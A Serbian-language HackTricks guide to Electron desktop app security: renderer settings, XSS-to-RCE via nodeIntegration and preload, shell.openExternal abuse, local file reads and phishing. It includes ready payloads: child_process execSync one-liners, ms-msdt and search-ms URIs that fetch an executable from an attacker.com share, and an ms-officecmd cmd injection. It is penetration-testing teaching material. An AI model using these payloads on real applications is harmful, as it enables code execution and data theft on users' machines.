Electron Desktop Apps

Support HackTricks

Uvod

Electron kombinuje lokalni backend (sa NodeJS) i frontend (Chromium), iako mu nedostaju neki od bezbednosnih mehanizama modernih pregledača.

Obično možete pronaći kod electron aplikacije unutar .asar aplikacije, da biste dobili kod potrebno je da ga ekstrahujete:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

U izvor kodu Electron aplikacije, unutar packet.json, možete pronaći navedenu main.js datoteku gde su postavljene sigurnosne konfiguracije.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ima 2 tipa procesa:

  • Glavni proces (ima potpun pristup NodeJS-u)

  • Proces renderovanja (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)

Proces renderovanja će biti prozor pregledača koji učitava datoteku:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Podešavanja renderer procesa mogu se konfigurisati u main procesu unutar main.js datoteke. Neka od podešavanja će sprečiti Electron aplikaciju da dobije RCE ili druge ranjivosti ako su podešavanja pravilno konfigurisana.

Electron aplikacija može pristupiti uređaju putem Node apija, iako se može konfigurisati da to spreči:

  • nodeIntegration - je isključen po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer procesa.

  • contextIsolation - je uključen po defaultu. Ako je isključen, glavni i renderer procesi nisu izolovani.

  • preload - prazan po defaultu.

  • sandbox - je isključen po defaultu. Ograničiće radnje koje NodeJS može izvesti.

  • Node Integration u Radnicima

  • nodeIntegrationInSubframes - je isključen po defaultu.

  • Ako je nodeIntegration omogućen, to bi omogućilo korišćenje Node.js API-a na web stranicama koje su učitane u iframes unutar Electron aplikacije.

  • Ako je nodeIntegration onemogućen, tada će preloadi biti učitani u iframe.

Primer konfiguracije:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Neki RCE payloads sa ovde:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capture traffic

Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron lokalna injekcija koda

Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Ako je nodeIntegration postavljen na on, JavaScript web stranice može lako koristiti Node.js funkcije jednostavno pozivajući require(). Na primer, način za izvršavanje calc aplikacije na Windows-u je:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Skripta navedena u ovoj postavci se učitava pre drugih skripti u renderer-u, tako da ima neograničen pristup Node API-ima:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Stoga, skripta može da eksportuje node-features na stranice:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Ako je contextIsolation uključen, ovo neće raditi

RCE: XSS + contextIsolation

contextIsolation uvodi odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electron-a tako da izvršavanje JavaScript-a svakog koda ne utiče na druge. Ovo je neophodna funkcija za eliminaciju mogućnosti RCE.

Ako konteksti nisu izolovani, napadač može:

  1. Izvršiti ** proizvoljni JavaScript u renderer-u** (XSS ili navigacija na spoljne sajtove)

  2. Prepisati ugrađenu metodu koja se koristi u preload-u ili unutrašnjem kodu Electron-a na svoju funkciju

  3. Pokrenuti korišćenje prepisane funkcije

  4. RCE?

Postoje 2 mesta gde se ugrađene metode mogu prepisati: U preload kodu ili u unutrašnjem kodu Electron-a:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

Obilaženje klik događaja

Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete srednjim klikom umesto običnim levim klikom.

window.addEventListener('click', (e) => {

RCE putem shell.openExternal

Za više informacija o ovim primerima pogledajte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 i https://benjamin-altpeter.de/shell-openexternal-dangers/

Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za nodeIntegration i contextIsolation je ključno. Utvrđeno je da izvršavanje daljinskog koda na klijentskoj strani (RCE) koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.

Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušaoci događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ovi slušatelji su prepisani od strane desktop aplikacije da implementiraju svoju vlastitu poslovnu logiku. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, openInternally. Ako ova funkcija vrati false, to ukazuje da link treba biti otvoren spolja, koristeći funkciju shell.openExternal.

Evo pojednostavljenog pseudokoda:

Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom openExternal, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu izazvati RCE. Za detaljne primere i dalja objašnjenja o ovoj temi, može se konsultovati ovaj resurs, koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.

Primeri Windows protokolskih eksploatacija uključuju:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Čitanje internih fajlova: XSS + contextIsolation

Onemogućavanje contextIsolation omogućava korišćenje <webview> tagova, slično kao <iframe>, za čitanje i eksfiltraciju lokalnih fajlova. Primer koji je dat pokazuje kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:

Dalje, podeljena je još jedna metoda za čitanje internog fajla, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Stari Chromium

Ako je chromium koji koristi aplikacija stari i postoje poznate ranjivosti na njemu, može biti moguće iskoristiti ga i dobiti RCE putem XSS. Možete videti primer u ovom writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing putem zaobilaženja interne URL regex

Pretpostavljajući da ste pronašli XSS, ali ne možete aktivirati RCE ili ukrasti interne fajlove, mogli biste pokušati da ga iskoristite za krađu kredencijala putem phishinga.

Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Poziv na openInternally će odlučiti da li će link biti otvoren u desktop prozoru jer pripada platformi, ili će biti otvoren u pregledaču kao resurs treće strane.

U slučaju da je regex koji koristi funkcija ranjiv na zaobilaženje (na primer, ne beži tačke subdomena) napadač bi mogao da iskoristi XSS da otvori novi prozor koji će biti smešten u infrastrukturi napadača tražeći kredencijale od korisnika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Alati

  • Electronegativity je alat za identifikaciju loših konfiguracija i sigurnosnih anti-šablona u aplikacijama zasnovanim na Electron-u.

  • Electrolint je open source VS Code dodatak za Electron aplikacije koji koristi Electronegativity.

  • nodejsscan za proveru ranjivih biblioteka trećih strana

  • Electro.ng: Morate ga kupiti

Laboratorije

Na https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s možete pronaći laboratoriju za eksploataciju ranjivih Electron aplikacija.

Neke komande koje će vam pomoći u laboratoriji:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Reference

Podrška HackTricks

Last updated